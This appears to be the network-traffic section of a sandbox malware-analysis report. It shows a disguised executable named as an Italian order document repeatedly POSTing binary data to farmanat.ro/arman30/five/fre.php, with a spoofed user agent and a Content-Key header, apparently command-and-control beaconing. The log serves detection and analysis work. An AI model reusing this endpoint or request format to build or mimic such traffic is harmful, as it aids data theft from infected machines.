Nov 25, 2021 10:48:13.730961084 CET	6332	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.11.20	50032	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.11.20	50033	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.11.20	50034	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.11.20	50035	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.11.20	50036	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.11.20	50037	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.11.20	50038	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.11.20	50039	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.11.20	50040	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.11.20	50041	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.11.20	49821	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:00.994992018 CET	6299	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 3206 Connection: close
Nov 25, 2021 10:48:01.080023050 CET	6302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:00 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.11.20	49855	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:14.406984091 CET	6333	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:14.524874926 CET	6333	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.11.20	50042	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.11.20	50043	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.11.20	50044	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.11.20	50045	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.11.20	50046	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.11.20	50047	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.11.20	50048	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.11.20	50049	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.11.20	50050	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.11.20	50051	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.11.20	49856	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:15.068809032 CET	6334	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:15.152544022 CET	6335	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.11.20	50052	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.11.20	50053	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.11.20	50054	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.11.20	50055	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.11.20	50056	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.11.20	50057	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.11.20	50058	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.11.20	50059	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.11.20	50060	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.11.20	50061	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.11.20	49857	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:15.740662098 CET	6335	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:15.825707912 CET	6336	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.11.20	50062	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.11.20	50063	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.11.20	50064	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.11.20	50065	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.11.20	50066	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.11.20	50067	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.11.20	50068	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.11.20	50069	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.11.20	50070	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.11.20	50071	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.11.20	49858	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:16.437510014 CET	6337	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:16.523509979 CET	6337	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:15 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.11.20	50072	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.11.20	50073	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.11.20	50074	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.11.20	50075	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.11.20	50076	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.11.20	50077	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.11.20	50078	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.11.20	50079	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.11.20	50080	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.11.20	50081	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.11.20	49859	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:17.100651979 CET	6338	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:17.190354109 CET	6339	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.11.20	50082	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.11.20	50083	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.11.20	50084	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.11.20	50085	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.11.20	50086	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.11.20	50087	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.11.20	50088	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.11.20	50089	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.11.20	50090	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.11.20	50091	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.11.20	49860	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:17.734632015 CET	6339	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:17.821785927 CET	6340	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.11.20	50092	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.11.20	50093	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.11.20	50094	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.11.20	50095	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.11.20	50096	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.11.20	50097	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.11.20	50098	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.11.20	50099	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.11.20	50100	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.11.20	50101	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.11.20	49861	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:18.417273998 CET	6341	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:18.506346941 CET	6341	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.11.20	50102	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.11.20	50103	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.11.20	50104	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.11.20	50105	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.11.20	50106	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.11.20	50107	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.11.20	50108	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.11.20	50109	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.11.20	50110	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.11.20	50111	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.11.20	49862	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:19.071831942 CET	6342	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:19.155915022 CET	6343	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.11.20	50112	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.11.20	50113	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.11.20	50114	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.11.20	50115	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.11.20	50116	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.11.20	50117	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.11.20	50118	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.11.20	50119	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.11.20	50120	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.11.20	50121	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.11.20	49863	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:19.719300985 CET	6343	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:19.804265976 CET	6344	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.11.20	50122	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.11.20	50123	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

